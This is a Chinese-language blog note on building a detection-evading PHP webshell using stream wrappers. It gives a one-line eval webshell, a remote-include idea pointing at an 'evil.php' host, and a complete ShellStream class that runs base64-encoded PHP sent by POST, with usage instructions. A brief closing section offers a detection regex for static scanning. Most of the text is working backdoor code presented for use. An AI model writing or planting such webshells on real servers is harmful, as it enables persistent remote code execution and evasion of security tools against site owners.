流包装器实现WebShell免杀
前言
本文是看 http://www.freebuf.com/articles/web/176571.html 有感,权当做个笔记。
很早的以前,我们就见过 php://input,这其实就是流包装器的一种。php://input 是个可以访问请求原始数据的只读流。下面这行代码就是通过php://input获取post的数据,执行eval的一句话木马。
<?php
@eval(file_get_contents('php://input'))
?>
include 函数,通常用于包含本地文件和远程文件。如果可以远程文件包含,则很容易构造免杀webshell。通过 include “htttp://remote.com/evil.php”,把恶意代码放到远程机器上即可。但是,远程文件包含依赖php.ini的两个配置
;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;
; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-fopen
allow_url_fopen =Off
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
; http://php.net/allow-url-include
allow_url_include = Off
通常情况下,这两个配置会被关闭,所以远程包含就用不了。那如果 ” include 流 ” 这种方式能否实现呢?
答案是肯定的,这个流我们可以通过PHP函数 stream_wrapper_register 注册包装器来实现。那为什么不使用php://input流来实现呢,要自己构造一个流函数。原因有二:
1、php://input流需要file_get_contents来获取,容易被查杀
2、http://php.net/manual/zh/wrappers.php.php 这里有说明,php://input 受到 allow_url_fopen 的限制
编写
注册包装器的函数参考 http://php.net/manual/en/class.streamwrapper.php,
编写实例参考http://www.cnblogs.com/jingjingdidunhe/p/6346884.html。
<?php
class ShellStream
{
protected $position;
protected $code;
public function stream_open($path, $mode, $options, &$opened_path)
{
$url = parse_url($path);
$name = $url["host"];
$this->code = base64_decode($name);
$this->position = 0;
return true;
}
public function stream_read($count)
{
$ret = substr($this->code, $this->position, $count);
$this->position += strlen($ret);
return $ret;
}
public function stream_tell()
{
return $this->position;
}
public function stream_eof()
{
return $this->position >= strlen($this->code);
}
public function stream_seek($offset, $whence)
{
switch ($whence) {
case SEEK_SET:
if ($offset < strlen($this->code) && $offset >= 0) {
$this->position = $offset;
return true;
} else {
return false;
}
break;
case SEEK_CUR:
if ($offset >= 0) {
$this->position += $offset;
return true;
} else {
return false;
}
break;
case SEEK_END:
if (strlen($this->code) + $offset >= 0) {
$this->position = strlen($this->code) + $offset;
return true;
} else {
return false;
}
break;
default:
return false;
}
}
// include
public function stream_stat()
{
return stat(FILE);
}
// file exists
public function url_stat(string $path,int $stat)
{
return stat(FILE);
}
public static function shell(){
stream_wrapper_register('shell', ShellStream::class);
if (isset($_POST['code'])) {
$code = $_POST['code'];
include 'shell://'.$code;
} else {
include 'shell://PD9waHAgZWNobyAiaGVsbG8gaGFjayI7';
}
}
}
ShellStream::shell();
?>
使用方法,传入code参数。例如:
code=PD9waHAgcGhwaW5mbygpOw%3D%3D
其中 PD9waHAgcGhwaW5mbygpOw%3D%3D 就是<?php phpinfo(); 的base64编码。要想执行其他命令传入完整php代码的base64编码即可
检测
1、动态检测:一般大型互联网会有自主研发的入侵检测系统,hook底层的命令,所以可以在webshell触发命令后检测到。
2、静态检测:大多数安全产品和应急响应使用的是静态检测,这边一个思路是匹配对应的正则
(include|require)(_once){0,1}[\s*]+[\”|\’]+[0-9A-Za-z_]*\://
已加入到笔者的webshell静态检测工具 findWebshell